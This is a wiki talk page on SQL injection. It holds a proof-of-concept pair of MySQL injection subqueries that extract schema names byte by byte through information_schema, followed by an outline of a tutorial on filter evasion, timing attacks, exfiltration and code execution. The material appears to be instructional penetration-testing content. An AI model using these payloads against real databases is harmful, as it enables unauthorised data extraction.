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Talk:SQL injection
From NetSec
Revision as of 05:34, 13 November 2012 by LashawnSeccombe (Talk | contribs) (→single byte extraction technique poc)
single byte extraction technique poc
Byte discovery (iterating over each row for 1..255):
(select [column] from (select [column],@r:=@r+1 as pos from [table] c join (select @r:=0) r limit 255) x where pos=$counter)
Exploitation (iterating over each byte to get its value):
(select [column] from
(select [column],@r:=@r+1 as pos from [table] c join (select @r:=0) r limit 255) x
where pos=ascii(substring(
(select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database())
from $counter for 1))
);
Modern day SQL injection obstacles and countermeasures
- Configuration & environment challenges
- IDS, IPS, and web application firewalls
- Common web application firewall HTTPD modules
- Improper sanitizing
- Partial sanitizing
- Deprecated sanitizing
Basic remote tests for SQL injection vulnerabilities
- Injection points
- Input testing
- Your first where clause injection
- Reconstructing injected queries
Bypassing modern SQL injection security measures
- Basic signature evasion
- Whitespace placement
- Integer and string size delimiters
- Switching up the data types
- Arithmetic tests
- Capitalization
- Extending conditional statements
- Defeating partial sanitizing
- Quotes
- Whitespace filtering
- Bypassing XSS filters during SQL injection
- Testing with BETWEEN
- Testing with Regular Expression Operators (REGEXP, ~, and RLIKE)
Intermediate SQL injection
6.1 Automation theory
6.2 Basic Injection : Union Select
6.2.1 Determining the number of columns
6.2.2 Extracting data
6.3 Intermediate testing: "SELECT" ... LIMIT clause injections
6.4 Intermediate injection: information retrieval via verbose errors
7 Advanced: manual boolean enumeration
7.1 Using Ascii codes and the ascii() function for enumeration
7.1.1 substring()
7.1.2 Version fingerprinting with ascii-based enumeration
7.1.2.1 In theory
7.1.2.2 In Practice
7.2 Using Regular Expressions for Boolean enumeration
7.2.1 Getting started with regular expressions
7.2.2 Version fingerprinting using compatible regular expressions
8 Expert: Timing attacks for automated boolean enumeration
8.1 MySQL boolean timing attacks
8.1.1 benchmark() and related issues
8.1.2 Evasive sleep() based boolean enumeration with regular expressions
8.1.2.1 Testing for the ability to sleep():
8.1.2.2 Controlling sleep() for enumeration:
8.1.2.3 Using sleep() to map a table name with regular expressions
8.2 PostgreSQL Boolean Timing Attacks
8.2.1 Testing for access to pg_sleep()
8.2.2 Using pg_sleep() with alternative comparisons for evasive boolean enumeration
9 Expert: Automated Single-byte exfiltration
9.1 Timing-based single-byte exfiltration 9.2 The comparative precomputation attack
10 Further penetration
10.1 Obtaining direct database access 10.2 Obtaining filesystem access 10.3 Obtaining code execution
11 Cheat Sheets
11.1 Vulnerability testing
11.1.1 Universal true and false statements
11.2 MySQL syntax reference
11.2.1 Mysql versions >= 5 user schema mapping (unprivileged)
11.2.2 Privileged MySQL (any version) user
11.3 PostgreSQL syntax reference
11.3.1 PostgreSQL schema mapping
11.4 Microsoft SQL syntax reference
11.4.1 Microsoft SQL schema mapping (unprivileged)
11.4.2 Privileged microsoft SQL injection
12 Patching SQL Injection Vulnerabilities
